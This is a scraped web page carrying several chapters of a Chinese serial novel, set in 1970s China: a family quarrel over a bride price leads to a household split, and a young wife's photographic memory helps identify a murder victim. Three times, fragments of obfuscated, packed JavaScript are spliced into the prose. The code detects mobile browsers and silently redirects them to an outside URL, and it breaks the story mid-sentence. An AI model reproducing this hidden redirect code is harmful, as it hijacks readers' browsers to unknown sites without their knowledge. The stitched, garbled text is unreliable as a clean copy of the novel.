35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12263450|128805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 大壮:“行。” 吴母来喊大孙子二孙子回家吃饭,抬眼间,正好见着拐往跨院走道的背影。 那道高挑的身形实在太有辨识度,几乎一眼,她就认出是谁了。 不就是前头媒人介绍给老三那姑娘吗? 难道谭公安娶的就是她? 前脚跟老三相看不成,后脚就嫁人,速度未免太快了吧。 吴母心情有些微妙。 总觉得三儿子被比下去了。 吴家饭桌上。 吴母隔一会又瞪一眼老三吴庆年。 吴庆年皱眉,以为她又要开始骂裴玉梅了,忍耐着问道:“妈,你又看我做什么?” “给玉梅的彩礼从我自己工资里扣,不碍着你们什么事,你们——” 他这话一出,吴母还没开腔,李红霞先不干了,“什么从你工资里扣。老三,咱家可是没分家的,凭什么你哥娶媳妇,一袋粮食、一袋红薯就行,到你这儿,她就要150彩礼?” 吴庆年皱眉:“那怎么一样?大嫂,你别胡搅蛮缠。” 李红霞更气了。 筷子一摔,泼辣道:“怎么不一样,我们是便宜货,就她一个珍贵,是吧?” 三个孩子对亲妈的突然发作习以为常,熟练地端起碗跑出去了。 吴庆年脸色黑了黑。 看了两个哥哥一眼,他们埋着头吃饭一点不管,就知彩礼在他们心里也是疙瘩。 他烦得不行。 嘴上也毫不客气,“十年前什么光景,现在什么光景?闹饥荒后能给出一袋粮食的有几家?总扯着这个说有什么意思?” “凭什么不能说,一家子妯娌,她来了就压我们一头,凭什么呀,对不对,爱娣?” 陈爱娣是吴老二的媳妇,平时寡言少语,就一直被李红霞压着。 她才不想给李红霞当枪使呢。 被点名后立马慌慌张张摆手:“我,我没意见呀。” 说完冲公婆讨好地笑了笑。 调过头劝李红霞:“大嫂,老三说得对,现在情况跟以前不一样,老三进了厂后是给家里拿了钱的。” 李红霞咬牙怒瞪。 要不是白日里听裴玉梅妈跟人炫耀,她还不知道老三结个婚要花这么多钱。 难怪昨晚老三跟公婆吵架没让他们在场。 李红霞心里恨呢。 自己可是老吴家的大功臣,一进门就生了三个带把的,公婆不想着三个孙子,尽顾着老三。 她能服气才怪。 李红霞板着一张夜叉脸,没好气地拧了身旁丈夫腰肉一记,阴阳怪气道:“我命不好,摊上没出息的男人,但老三你甭忘了,你进食品厂花的钱里可是有我和你大哥的一份。” 陈爱娣嘴角微不可查抿了下。 老三买工作的钱,也有她男人的一份。 陈爱娣手紧握成拳放在腿上,面上还挂着笑,仔细一看,多少有些勉强,说出来的话也别别扭扭,“一家人,应该的。” “应该什么应该?当初说好的家里出钱买工作,老三上班后每个月工资拿一半出来,他才上两年班,去年临时工拿18,今年转正才拿28,买工作的钱还没还到200,一下子又要拿150娶媳妇,当钱是大风刮来的?这是花的他自个儿的钱吗,明明花的是全家人的。” “等裴玉梅进门,你俩万一立马要了孩子,养孩子也得花钱,这钱究竟什么时候还得上?” “爸、妈,你们也替我们两房想想,我们大人苦点累点受委屈没什么,但几个孩子呢……” 23.第 23 章 说起三个孙子,吴母脸色微微动容。 但李红霞逼迫的姿态着实叫人反感,吴母觉得作为婆婆的权威被挑衅了。 她本就更偏疼吴庆年,更觉得李红霞跟个搅事精似的。 遂不满道:“你别拿这态度嚷嚷,老三是花了家里的钱,那也是我和你爸的。老大你自己说,你打零工赚的钱够养老婆孩子没?你家三个小子不也是靠我跟你爸补贴?” 李红霞表情倏变。 吴家老大吴喜年捏着筷子的手微顿,抬头很是憨厚老实的样子,“妈,红霞脾气急躁,你别为她生气。” 李红霞还要说,手腕就被吴喜年拽了拽。 旁边陈爱娣看着两口子一条心、惯爱唱红白脸的大房,再看看自己身边五大三粗,一心干饭的真老实人吴海年。 轻轻摸着肚子。 怨念不已:自己怎么就不争气呢。 吴母觑见李红霞脸上的不服气,重重哼了声:“我不跟她生气,我跟她气什么?既然你们心里都计较,今天就把家里的东西分一分,省得以后这个怪我偏心,那个怪我不公平。” 这话一出,所有人都傻眼了。 吴老头诧异地看了眼老婆子,夹起咸菜,没滋没味吃着。 李红霞更是半天没说出一句话。 她就想逼着公婆让老三签欠条,没想着分家啊。 她没工作,男人也只能打零工,三个孩子还全是男娃,不靠公婆帮衬怎麽养? 一旦分家,舒坦的是有工资的老三和没孩子的老二。 大房损失惨重。 “妈,这家咋能说分就分啊,喜年,你说对不?” 吴喜年忙站出来劝吴母:“妈,爸,这……红霞没那个意思的,分家多叫人笑话啊。” 吴老头不说话。 吴母全权代他发言,“她没那个意思,我有。这些年帮你们带孩子都快带出仇了,你们俩只记亏,不记便宜。” 吴喜年:“爸——” 吴老头摆手:“听你妈的。” 吴喜年语气中带了些许哀求:“妈……” 吴母态度坚决:“树大分枝,结了婚你们都有各自的小心思,我和你爸不想管,管来管去让你们几兄弟结仇。” 李红霞知道这事没转圜余地了。 索性态度一改:“妈,要分就得把老三那笔账算上,你和爸给他多少,不能亏了我们和老二吧。” 陈爱娣小心翼翼瞅了眼吴母。 没吱声,默认了。 吴母扫了几人一眼。 大儿子焦急,二儿子走神,三儿子满眼放光,心里五味杂陈,着实不是滋味。 但凡几个孩子顺着她,哄哄她,这事就罢了,结果…… 罢了,分了也好。 “你放心,缺不了你。” 一家子来回拉扯近一个小时,吴庆年还是写了欠条。 吴家存款不多。 吴喜年、吴海年每家分五十现钱,吴庆年不分,还欠下大房二房各自一百五。 未来一年,他工资的大头都得拿来还债。 吴家这场分家来得突然,也结束得突然。 事成定局,李红霞心里还是存了气,知道婆婆反感裴玉梅就故意讽刺道,“妈,老三为了弟媳妇儿,挺舍得哩。” 吴母黑脸。 陈爱娣今天得了分家好处。 想着自己结婚七八年也没孩子,大抵两人中有一个不能生,万一以后需要抱养肯定抱养老三家的比较好。 她有意跟吴庆年搞好关系。 便道:“玉梅人长得俏又温柔,好姑娘彩礼高点很正常。” 吴母瞥了懦弱寡言的老二媳妇一眼,道:“再俏再温柔,有那么个吸血蚂蟥的老娘和弟弟,就不是良配。” 吴庆年反感:“妈是她能选的吗?玉梅已经很可怜了,妈你不心疼她就算了,还奚落她?” 吴母原本没大动肝火。 见吴庆年彻底有了媳妇没了老娘,恼恨得厉害。但她没揪着裴玉梅讲,而是问:“你知道跨院谭公安娶的媳妇是谁不?” 吴庆年怔住。 不解怎么突然跳这上头。 吴母淡淡一瞥:“排先你相的那个,棉纺厂奚家的闺女。” 吴庆年:??? “你相不中人家,光死心眼了,心里就只有对面那裴玉梅,人家扭头嫁到咱们院子,见了面尴不尴尬啊?” 李红霞吃饭吧唧嘴。 刚闹了一场,正是又累又饿的时候,趁婆婆被小叔子转移注意力,迅速将冷掉的菜夹进自己碗里。 随后又给男人夹菜。 注意到她小动作的陈爱娣也赶紧给自家男人夹,妯娌俩你瞪我、我瞪你,暗戳戳斗得跟乌鸡眼似的。 吴母捏着筷子,一人手背敲了一下。 李红霞“哎哟”一声,不满道:“妈,嫁就嫁呗,她想嫁哪儿就嫁哪儿,反正是老三没瞧上她,她如果要面子肯定躲着我们走,我们有什么好尴尬的。” 陈爱娣闷葫芦,不打算发表意见。反正她在婆婆面前从来都没李红霞有底气。 没办法,谁叫人家肚子争气,她却不出货呢? 别看婆婆也骂老三,其实心里最重视老三。老三的事她可以随意骂随意抱怨,别人说就不行。 比起婆婆看好的那姑娘,陈爱娣宁愿老三媳妇是裴玉梅。 就一个原因,婆婆不喜欢裴玉梅。 裴玉梅嫁过来,以后婆婆就不会盯着她一个人找茬了。 想到这儿,她一改往日沉默的性子。 顺着李红霞的话说:“对啊,反正是老三没看上她,谭公安捡了咱家不要的女人当媳妇儿。” 不曾想拍马屁拍到了马蹄山。 “不会说话就别开口。” “少在外头说这种得罪人的话。” 陈爱娣讷讷不说了。 而当事人吴庆年则眼神游移闪躲,心虚的垂下眼睑。 “妈,你嫌她膈应你不跟她打交道就是了,咱们住一进,她住跨院,平时本来就不怎么见得着,玉梅介意这桩事,你别……” “玉梅玉梅,你脑子里就只有玉梅。老三我再跟你讲一遍,人,你可以娶进来,反正分家了你爱怎么着就怎么着,但以后她如果再向着娘家,继续养她弟她妹,你可别找我和你爸诉苦。” “妈,玉梅不会的。” “别用嘴说,我等着看她表现。” 吴母眼角吊起,法令纹深陷,整个人显得格外刻薄。她冷嗤一声,并不怎么信裴玉梅的保证。 说句难听话,从小被父母拎着耳朵教育要为弟弟付出一切的姑娘,想法早定型了。 以为嫁人就能脱胎换骨呢? 压根不可能。 要不是老三为了娶她要死要活,吵吵着家里不同意他就申请宿舍搬出去,吴母根本不会妥协。 刚刚又忽然知道奚明亚嫁了谭公安,她心里的不痛快到达了顶峰。 哦,对嘞。 本来今晚她是要说谭公安和奚明亚结婚的事,叫三儿以后避着点。 结果被老三拱火,老大媳妇又一点就燃,争着争着,莫名其妙弄成了分家。 吴母想到这儿,狠狠剐了李红霞一眼,才跟吴庆年说:“反正邻里邻外,她如果主动纠缠你你千万甭搭理,免得把自己名声搞臭了。” 李红霞暗暗嗤了声。 她就这么随口一说,哄哄公婆,免得以后真不帮衬她们这房。 结果婆婆还当真了。 以为她儿子是人人都想争的香饽饽呢?心态怪好笑的。 人家没进老吴家大家,就盼着人进个更差的,最好天天不如意。但凡过得不错,她就不舒坦,觉得吃了天大的亏。 换她是奚明亚,嫁了谭公安,住的大院子,她得天天嘎嘎笑,哪有心思来纠缠老三? 李红霞也就腹诽两句,面上倒是一副“妈你说得真有道理”的样子,“是啊,老三,你可别糊涂啊。” 吴庆年没理她,只看着吴母虚应着,“知道了,我不搭理她。” 吴庆年才不敢说出真相嘞。 其实相看那次他对奚明亚很满意,反正无法跟喜欢的玉梅在一起,跟谁结不是结? 况且奚明亚的确很漂亮。 就算态度冷淡,拖几天不给答复,他依然想娶。 没想到玉梅被他相看的事激了一把,终于接受了他对她的感情。 吴庆年左右为难啊。 还不等他纠结出结论,就被奚明亚撞破…… 被打总归不光彩。 他就更不能让人知道这事了,索性对家里说他没相中对方,心里还是只想要玉梅。 谁能想到,相亲的事还有后续? 奚明亚嫁哪儿不好,竟嫁了自家同一个院子,住的还是当初他吹嘘要住的跨院。 不会真的像妈和大嫂说的那样她心里其实惦记着自己,不服自己跟玉梅在一起,故意嫁到61号膈应人吧? 想起上回落自己身上的铁拳,骂自己和玉梅那些难听话,吴庆年不确定地想,这难道是因爱生恨? 这念头一出,他心里忍不住波澜起伏。 眼中闪过讶异恍然纠结,还有一丝丝隐秘不易被发现的窃喜得意。 但很快,一盆冷水泼醒了他的矛盾。 ——万一她当着别人面,把自己相看时说的话,还有自己和玉梅说的那些抖出来…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12274331|128805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不行。 得找个机会跟她说个明白。 他已经有玉梅了,是绝对不可能跟她扯上关系的。 奚明亚如果知道吴庆年是这样想的,肯定鸡皮疙瘩起一身,直呼“脏了”。 再连夜爬墙揍他个半身不遂。 她跟谭乐生结婚跟别人可没半毛钱关系。 主要还是系统给得多,事又少,让她看到了躺着就能赢的曙光。 跟谁结婚不是结。 何况谭乐生还完美契合了她的需求。唔,除了娃娃脸她是真的不大喜欢。 太显小了。 明明比自己大了六七岁,站一块跟同龄似的。 他那类相貌晚熟。 二十五还青涩稚气跟高中生一样。估计十年后勉强跟其他人二十五六的状态差不多。越往后,显年龄大的越有可能是自己。 哎,还没到那个阶段,奚明亚已经开始冒酸泡泡了。 她晃晃脑袋,赶忙让自己转换思路。 干嘛跟他比呢? 他是公安,平时运动量大,长得又年轻。不出意外内心稳定、眼神不变浑浊的话,十几二十年后同龄人都步入秃头中年,他还处于青年巅峰。而有了阅历沉淀的“年轻”只会更加有魅力。 不过话又说回来,对男人来说,妻子的美貌是他们的炫耀资本。 那丈夫的美貌凭啥不能是妻子的荣耀啊? 等二十年后,别人带着秃顶肚儿圆的爱人出门,就她挽着四十俊俏一枝花的谭乐生,想想那场面的酸爽度,奚明亚嘴角不受控制地高高翘起。 她躺在床上胡思乱想。 一会皱眉深思,一会咯咯轻笑。 一只胳膊枕在脑后,二郎腿翘得高高的晃来晃去,另一只手拿着蒲扇慢悠悠地扇着。 很快就昏昏欲睡。 只是心里还记着给谭乐生开门,才时不时睁眼醒醒神。 谭乐生十点左右回来,刚敲了三下,奚明亚就很警觉地醒了。 “嘎吱——” 木门被拉开半边。 “咦,你抱的是什么?”奚明亚看着他怀里兜着的几张纸,好奇。 谭乐生将东西递给奚明亚。 回身推车,边走边回她:“专家按头骨复原的其中一个死者的相貌和滨市越狱逃犯的画像。” “还能这样?照着骨头就能还原出生前面貌?”奚明亚第一次听说,眼睛眨巴眨巴,一不留神就露出了土包子样儿。 她眼睛随了董桂花。 很大很亮,眼尾有点上翘,像杏仁儿,可又没那么纯良圆润,说像狐狸呢,又少了几分狭长,但总体是很漂亮很吸引人的一双眼睛。 当她眼里满是好奇、佩服,眼睛就格外明亮,像是黑夜中突然出现一颗星星。 谭乐生感觉那双眼睛像有魔力似的,快把自己整个人都吸进去;呃。 他恨不得自己是个百晓生,把所有能知道的通通告诉她,满足她的好奇心,让那双眼睛里的星光继续璀璨不灭。 “能,不过能做到这个程度的,全省就一个。” 他竖起食指晃了晃。 “哇!那实在厉害啊。” “是很厉害,她的个人经历更是传奇。” 听出谭乐生话里的钦佩,奚明亚愈发好奇,“怎么个传奇法,说说呢。” “对了,这画像算不算机密,我能看吗?” 她捏着画纸,亦步亦趋跟在谭乐生身后。 她对越狱的连环凶手有点感兴趣。 对摸着骨头能画出人活着时的面貌的人更感兴趣。 谭乐生把车推到雨棚下停好,转身时差点撞上紧跟在他身后的姑娘。 他上半身下意识往后一仰。 旋即失笑。 眼前的人是不是别人,是他自个儿的老婆,实在没必要讲究距离,这般一想,谭乐生迅速扭正身形,放任两人挨紧。 “不是什么机密,你先看着。我去洗个澡,回头跟你讲讲她的事迹。” 这两张人像本就是走访街坊调查用的。 谭乐生倒想就这样跟媳妇儿回房聊聊天。 但在外头跑大半天,身上汗味儿有些重,奚明亚不管什么时候身上都带着淡淡的花香,一看就是个爱干净的。 自己一身汗臭靠过去,万一被她嫌弃怎么办? 奚明亚确实欣赏不了这种“男人味”。 闻言忙伸出两根手指,虚虚推他胳膊,“快去快去,我回屋里等你嗷。” 她说的时候没带旖思,纯粹抱着听睡前故事的心态。 可听在谭乐生耳朵里就不是那么回事了。他耳尖偷偷泛红,不自在地咳了一声。 “……我会动作快点的。” 24.第 24 章 奚明亚狐疑地觑了他一眼。 怎么回事,突然嗓子就哑了,开会时间太久废嗓子还是热伤风了? 那不能洗冷水了。 否则内热外冷,容易洗出病。 于是体贴提醒:“厨房灌了三个暖水瓶,晚上才灌的,温度够,你用那个洗。” 谭乐生没太明白。 以为洗热水是什么讲究,老老实实点头,“知道了。” 等回了卧房,奚明亚陡然回顾谭乐生开口前诡异的几秒停顿。 她傻了,恍然大悟。 后知后觉自己好像说了什么不得了的话。 “腾”一下。 脸红成了猴屁股。 刚摊开的画纸还没来得及看就又放下了,两手轻轻拍打温度继续爬升的两颊。 这下误会大了。 他不会以为自己猴急,觊觎他洗香香的肉|体吧? 她竖中指发誓,她真的挺正经一人! 奚明亚这会儿不仅不想听故事,还嫌屋子不够大、不够宽敞、不够空。 一想到马上人就进来的尴尬氛围,她已经开始坐立难安,脚趾抓床了。 谭乐生洗完澡进屋,就瞧见奚明亚坐床上咬着指甲发呆,自己拿回来的人像图在她脚边放着。 他拿起挂门后的毛巾。 擦头发和手臂上的水,边擦边问:“还看吗,我收桌上了啊。” “看!” 这话题安全。 奚明亚回神,呼出一口浊气。 起身往前一弯腰,拿过画像。恰好谭乐生弯腰伸手,两人手碰了个正着。 奚明亚:……可以不用这么默契的。 瞬间抽手,彷佛对方有毒。抽完手,她屁股还往后头挪了挪。 夜晚本就穿得宽松。 这时候不流行专门的睡衣,大部分家庭也没那个条件,男男女女都穿白色纯棉的背心儿,她一倾身,被藕粉色内衣包裹着的,如玉般的肌肤一片儿,微微摇曳着,谭乐生顿时看得怔住了。 他喉结下意识滚了滚,眸色渐浓。 奚明亚方才下意识的动作还是让他意识到自己误会了什么。 尽管“躲”的动作很轻微,很自然,彷佛就是给他腾个位。 谭乐生花了十二万分的克制力将视线移开。强行把那一瞬间入侵大脑的带颜色的念头摁了回去。 为了让她放松些,他还借着到堂屋倒水的理由离开了一会儿。 他一出去,奚明亚顿时觉得屋子没那么狭窄,呼吸畅快多了。 绷着的肩膀渐渐松弛。 她展开画像,上面的是通缉犯的照片。 黑白印刷,没有特别清晰,但能看出一些特征。 三角眼,颧骨横张,耳后见腮。 眉毛很散,压眼厉害,嘴巴略歪,光看模糊的面相,就隐约感觉得到凶狠不好惹。 她又翻开第二张,是手绘。 看第一眼,一股熟悉感扑面而来,再看,又不太像。 奚明亚秀眉略蹙了一下。 她遮住画像的上半张脸,看嘴和人中,接着又盖住鼻子以上…… 反复对比琢磨。 忽然,脑子里灵光一闪,嘴比脑子快,颇兴奋地嚷道:“谭乐生,我——” “嗯?”谭乐生倒水动作一顿,轻声回应,“要喝水?” 奚明亚:“不喝,我是想告诉你这名死者我可能……似乎……好像认得。” 她用了一系列限定词,但语气格外笃定。 谭乐生闻言,半信半疑。 不过激动也是真激动,立马放下水杯冲进屋里,问:“真的?” “你什么时候见过她?” “她叫什么?” “干什么的?” 一下子冒出好多问题,最后甚至欺身靠近奚明亚,一把抓住她的双手。 奚明亚几乎想也不想就道:“八年前。” “我在东方红小学念四年级……哦,东方红小学也就是关阳三中,从前是两所学校,70年才合并的。当时教五年级语文的老师姓巩,叫巩令慧。那会儿学校里开始批|斗教职工,巩老师成分不好,被送到农场改造了。具体送哪,我不清楚。” 谭乐生很惊讶。 八年前的事能说得如此精准,难道当年发生了什么让她印象深刻的事? 等等,八年前小学四年级? 现在学制是五二二,如何会今年高中毕业? ……算了,这不重要。 “你怎么认出来的?难道画像相似度到八|九成了?” 上午刚去关阳三中那一片排查过。大部分住户都被问过了,只有一个人说眼熟,可多看几遍后又说看花眼了。 “那倒不是,是我记忆力还算可以。” 奚明亚嘴角抿了下。 “巩老师额头比较高,嘴有一点点龅牙,正面看不明显,侧面的话下颚看得出来后缩,这个画像相似度不够高,但我能肯定这就是她。” 别说认人,巩令慧离开学校那天穿的衣服她都记得一清二楚。 她记得…… 那天是六月十八,星期四。 巩令慧穿了一条深青色的裙子,脚上是一双赭石色的搭扣军凉鞋,长发剪短齐耳,额头还有伤。 伤口处黏着泥和茅草碎屑,应该是当天在课堂上造成的。 那阵子高年级好些个成分好的联合起来组成一个叫“丛中笑”的小分队。 谁衣服上补丁少几个,都要被他们逮住背语录,宣誓。何况是巩老师这种家喻户晓的富户子女,没少被打砸。 “我最后一次看到巩老师,是总务主任袁老师送她出的校门。” 说着,奚明亚觉得鼻子有点痒痒,抬手想抠一下。手刚碰到鼻尖,意识到旁边还杵着个人,自己的动作好像不太雅观。 她表情尴尬了一瞬。 小眼神飞速瞥向谭乐生。 “咳——” 咳了咳,佯装无意地用食指拇指合并,重重捏了几下鼻尖。 “就是很奇怪,怎么会死在龙江塘呢,那附近有农场吗?” 谭乐生已经被震惊住了。 他知道侦查连里有一些侦察兵天赋异禀,洞察力、记忆力天生就比寻常人优越。有的甚至能做到过目不忘。也有通过训练,后天培养出来的。 没想到自己身边就有一个。 “媳妇儿你能确定吗,你的记忆完全没有出错?” “不会记错。” 奚明亚对媳妇儿三个字已经脱敏了。 她煞有介事道:“第一次见面,你左手摸了裤缝,三下,摸完你还突兀地眨了两下眼睛……” “到我家里那次,你偷笑了六回,离开时是两点零八分,刘阿姨还拽住你问话了。” “前天咱们到这边,前前后后总共十四人跟咱们打招呼,第一个大爷,他左脸长了痦子,身高一米六三左右,手肘习惯性抵腰上,我猜可能有旧伤,第二个是……” “还有……” 她边说,边比着动作模仿他们的特点。 谭乐生听着,大脑不知不觉顺着她的话去回忆,发现自己印象中这些人的相貌形态逐渐清晰起来,竟跟她的描述分毫不差。 他被镇住了! 激动地抓住奚明亚肩膀。 嘴巴开开合合几次,最后重复道:“明亚,这太神奇了,真的不可想象……” 奚明亚庆幸他激动归激动,没有咆哮摇晃人的习惯。否则她指定忍无可忍,一巴掌把他拍飞。 “小谭公安,你好歹当过营长,是见过世面的人,咱要淡定!” 谭乐生还沉浸在震撼里。 没领会到其中意思,不仅没撒手,还兴奋得化身话痨:“你既然能过目不忘,就应该可以通过一些特殊人才的考核找到工作才是,怎么会……” 需要结婚才留城。 奚明亚眨眼,茫然摇头。 ……不知道啊。 她能接触到的信息只有哪个厂子招工,不过一般来说都是内定好的,外人根本挤不进去。 像棉纺厂去年就招过一批。 今年没招人,否则作为职工子弟又是高中生,她妥妥能进棉纺厂。 不过就算能进,奚明亚也不太愿意。 “……你确定,我这种真的算特殊人才?” 她挪了挪腿,往谭乐生身边靠,半仰着头,目光期许。 这还是头一回有人说她是人才。 特殊人才。 奚明亚激动得想搓手。 没办法,她的确记忆力超群,但又不属于智商高的那类人。小学时从来不动脑子就能考满分,初中也还好,花点时间不算吃力。 但上了高中,涉及逻辑梳理、理解隐喻、诗歌甚至稍微复杂一点的句子的题,她就不行了,必须比其他人花更多倍的功夫才能勉强保住第一。 这让奚明亚大受打击啊。 要知道从前她一直以为自己是天才来着。 看一遍书就能考第一,多厉害啊。 被老师、邻居夸上天她自己也底气十足,心里美滋滋的。 上初中后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12280305|128805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隐约意识到不对劲儿。 她开始变得吃力了。 不是记忆力变差,恰恰相反,因为记忆太好,导致解题时脑子蹦出的相关内容太杂太多,就像一个线团,每次都需要先捋清楚再得出答案。而这种趋势随着储存的记忆增加,越来越严重。 她不得不把努力摆明面上,潜移默化地淡化“小天才”印象,让周边人认为她优秀是因为足够努力。 而这种努力到高中直接成了负担。 奚明亚再也不敢出去翘尾巴了。 生怕哪天遇上真天才,她的优秀变成一戳就破的泡沫。 别说,这两年她学得着实艰难。 她不得不接受自己的平庸,渐渐地,就不觉得记忆好是一件好事,人也开始从积极进取转为躺平派。 现在谭乐生告诉她,这种困扰不完全是坏事,或许在某些领域能够起到大作用。 奚明亚当然心潮澎湃,激动不已。 谭乐生点头。 肯定道:“当然,如果你进部队,一定能成为很优秀的侦察兵。” 奚明亚一愣。 忙摇头,“不,我不行的。” 谭乐生惑然。 奚明亚抿嘴,笑了笑,没解释。极其丝滑地转移话题:“那另外两个呢,一点信息也没有吗?” “头骨复原人像十分耗费心神,另外两个还估计得等一阵子。” 奚明亚点点头,垂眸。 目光无意间落在大长腿中间鼓鼓囊囊的位置……呃,这是普通状态,还是兴奋状态呀?有汽水瓶那么大真的正常吗? ??? 等等,是想这个的时候吗? 奚明亚赶紧拽回如脱缰野马的思绪。 眼睛咕噜转了两圈,缓缓往上移,这一移更坏菜了,他,他居然□□! 棉背心贴在精瘦的腰上,透出若隐若现的肌肉线条,看着好色啊。 她忍不住浮想联翩。 忽然,危险雷达开始发出警报,奚明亚猛地抬起脑袋,一个后仰,这才发现两人距离近得离谱。 膝盖跟膝盖抵着,她脑袋快凑到谭乐生的腹肌上了,嚯,他头也往下垂了垂,鸦羽般的眼睫毛根根分明。 ……想,想干嘛呢? 她怔怔看着谭乐生的同时,谭乐生也回望过来,在迷离昏黄的灯光下,又在床上这样敏感的地方,氛围朝着暧昧的方向策马狂奔。 奚明亚脚趾头忍不住蜷了起来。 不知道是不是她的错觉,感觉皮肤控制不住冒出一颗一颗的鸡皮疙瘩,隐隐战栗起来。 “呃……” “呃,你在看什么?有什么好看的?”她抿着嘴,色厉内荏道:“十一点了,睡觉睡觉!” 睡不够明早就起不来,起不来就要错过拍照打卡,错过打卡就要错失小十个积分…… 那必须不行。 奚明亚瞥了眼手表,指针已经走到11过一点了。她动动肩膀,示意某个男同志松手。 谭乐生纵然心猿意马,但还是狠狠压制住了冲动。 半晌,他嗓音沙哑,彷佛很淡定的样子:“你先睡,我还得再去局里一趟。” “还去?” 奚明亚惊呼。 谭乐生点头:“嗯,既然她很有可能是巩令慧,那得连夜开会安排接下来的排查布防工作,争取在最短时间内破案。” 说完,他勾了勾嘴角,目光赞赏:“对了,明天你能跟我到局里一趟,辨认一下捞回来的衣服吗?” “可以是可以,但不一定能认出来,那些衣服、鞋子什么的,估计都褪色变形了吧……” 奚明亚当然愿意帮忙。多年前认识的人突然成了白骨,说实话,挺让人唏嘘的。 “没关系,万一有奇迹呢。” “我锁门,还是你往里关门栓?” “你锁吧。” 六月天,蚊子大军悄悄来临,人一出去,立马全军来袭,为了关个门被咬上几口,实在不划算。 “好,我锁,正好明早回来洗漱,免得你爬起来开门。” “嗯。” “那我走了?” “好。” 谭乐生干脆利落下床,拿了衬衫套在背心外面就往外走,那叫一个雷厉风行。 奚明亚目瞪口呆。 谁还记得前一秒两人还在正事和暧昧中反复拉扯呢。 这拼劲儿是真的足啊。 难怪二十五就能升到正营。就这工作狂的架势,他不涨工资谁涨? 说不定没几年就把顶头的局长给干跑了。 25.第 25 章 夜里寂静。 谭乐生进进出出,自行车车轱辘的动静一下子放大了N倍。 院里住户多,有休息得早的,也有晚睡的。 “小谭,这么晚又要出去啊?” “对,回局里一趟。” “你们公安就是忙哈。” “还好。” “……” 吴家刚闹完分家。 吴庆年偷偷摸摸扒对面院墙,跟裴玉梅你侬我侬完,摸回61号时跟推车出来的谭乐生撞了个正脸。 谭乐生点头打招呼。 吴庆年愣了片刻,心不在焉地点了点头。脑子里不知怎地就闪过大嫂跟妈说的那番话。 难道—— 奚明亚心里真的有自己,跟谭公安处得不好? 否则新婚燕尔,正是黏糊糊的时候,工作再忙也不至于大半夜出门吧。 越想,越觉得是这么个道理。 鬼使神差地。 吴庆年脱口而出道:“谭公安,你这么晚出门,媳妇儿不跟你闹啊?” 谭乐生表情意外。 他回关阳不到两个礼拜,跟所有人都是点头之交,没到无所顾忌开玩笑的地步。 对方自来熟,说话让他感觉到了冒犯,顿时,脸上的放松与自得微敛了敛。 谭乐生没有跟外人谈论夫妻感情的习惯,语气冷淡地纠正道:“她很明理。” 说完,不管吴庆年什么表情,推车下正门台阶走了。 吴庆年站在原地。 明理? 自己没听错吧? 奚明亚跟明理能扯上关系? 他摸摸还在隐隐作痛的肋骨,又想起那天被她一通乱打的情形,吴庆年“嘶”了声,小声暗咒:一言不合就打人的泼辣货。 这种不懂小意温柔的女人,自己都受不了,谭公安能受得了? 瞧这态度,肯定是刚吵完架。 上一秒还跟自己和和气气打招呼,自己刚提了一嘴奚明亚,他表情就冷冰冰的了。 吵架。 肯定吵架了。 想到这儿,吴庆年又是心虚又是庆幸。 还好谭公安不知道自己跟她媳妇儿相过亲。否则方才脑子一热的那句话肯定把人得罪得死死的。 谭公安没准以为自己故意挑衅咧。 吴庆年摇头晃脑往自家走。 边走边想罢了,大不了以后自己主动避开奚明亚就是。 对了。 玉梅还不知道奚明亚嫁过来的事…… 奚明亚不知道吴庆年对自己如临大敌。次日她是被谭乐生叫醒的。 谭乐生从公安局回来,顺道买了肉包子和油条。 奚明亚惺忪着睡眼。 走进厨房给吃饭的四个孩子拍照打卡,日常任务搞定她就要回房接着睡,“今天好困啊,我回去眯一会儿再起床送他们几个。” 说完,跟个幽魂似的,飘了出去。 “……还没吃早饭呢?” “一会儿吃。” “那你要包子还是油条?我把它温提锅里。”谭乐生几步追到门口,半边身体探出去问。 “都行~~~~~” 尾音拖得老长,虚虚幽幽,怪瘆人。 “那我一会儿再叫你。”谭乐调温温和和道。 谭文宣皱眉。 他叹了口气,满脸不赞同地看着谭乐生:“小叔,你太惯着她……小婶了,这样不行。” 谭乐生看着人小鬼大、暗戳戳给奚明亚上眼药的大侄子,尤为无奈。但想到一大一小斗法,大侄子被打击得连丧两天,又险些没憋住笑。 “嗯,是吗?” 他坐回桌上,语气淡然:“那是我老婆,你婶婶,不惯她惯谁?” 谭文宣:…… “可是婶婶不贤惠。做饭难吃就算了,还三天打鱼两天晒网,这才几天她就睡懒觉不起床了,还把活儿全推给你,小叔,你可是一家之主,绝对不能让女同志骑头上啊。” 谭乐生剑眉微扬,上下打量他:“跟谁学的这话啊?” 谭文宣眼神闪烁,似是心虚。 但很快就抬头挺胸,无比骄傲:“我爸说的。” 